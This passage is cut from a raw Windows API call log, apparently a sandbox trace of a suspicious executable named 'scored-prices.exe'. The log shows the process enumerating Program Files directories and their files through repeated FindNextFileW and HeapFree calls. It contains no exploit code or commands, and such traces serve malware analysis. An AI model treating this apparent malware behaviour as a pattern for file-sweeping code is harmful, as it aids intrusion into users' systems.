ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0056.363] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.363] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0056.363] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.363] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0056.364] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.364] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0056.364] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0056.364] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.364] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0056.364] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.364] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0056.364] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.364] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0056.366] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.366] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0056.366] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0056.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.367] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0056.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.367] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0056.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.367] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0056.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.368] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0056.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.368] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0056.368] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0056.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.368] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0056.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.368] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0056.369] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0056.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.369] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0056.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.369] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0056.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.369] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0056.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.369] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0056.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.370] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0056.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3f78 | out: hHeap=0x6a0000) returned 1 [0056.370] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0056.370] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0056.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3f70 | out: hHeap=0x6a0000) returned 1 [0056.372] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba25800, ftCreationTime.dwHighDateTime=0x1d52735, ftLastAccessTime.dwLowDateTime=0xc0155380, ftLastAccessTime.dwHighDateTime=0x1d4fd6e, ftLastWriteTime.dwLowDateTime=0xc0155380, ftLastWriteTime.dwHighDateTime=0x1d4fd6e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="scored-prices.exe", cAlternateFileName="SCORED~1.EXE")) returned 1 [0056.373] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0056.373] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0056.374] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.374] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0056.374] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3cc0 | out: hHeap=0x6a0000) returned 1 [0056.374] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0056.374] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3cc0 | out: hHeap=0x6a0000) returned 1 [0056.374] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0056.375] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.375] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0056.375] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3cc0 | out: hHeap=0x6a0000) returned 1 [0056.375] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0056.375] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.375] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0056.376] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c3cc0 | out: hHeap=0x6a0000) returned 1 [0056.376] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0056.376] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0056.377] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0056.377] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0056.377] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0056.377] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0056.378] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0056.378] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0056.378] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0056.378] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0056.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0056.379] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0056.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0056.379] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0056.380] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.380] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0056.383] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.383] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0056.383] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3cc8 | out: hHeap=0x6a0000) returned 1 [0056.383] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, 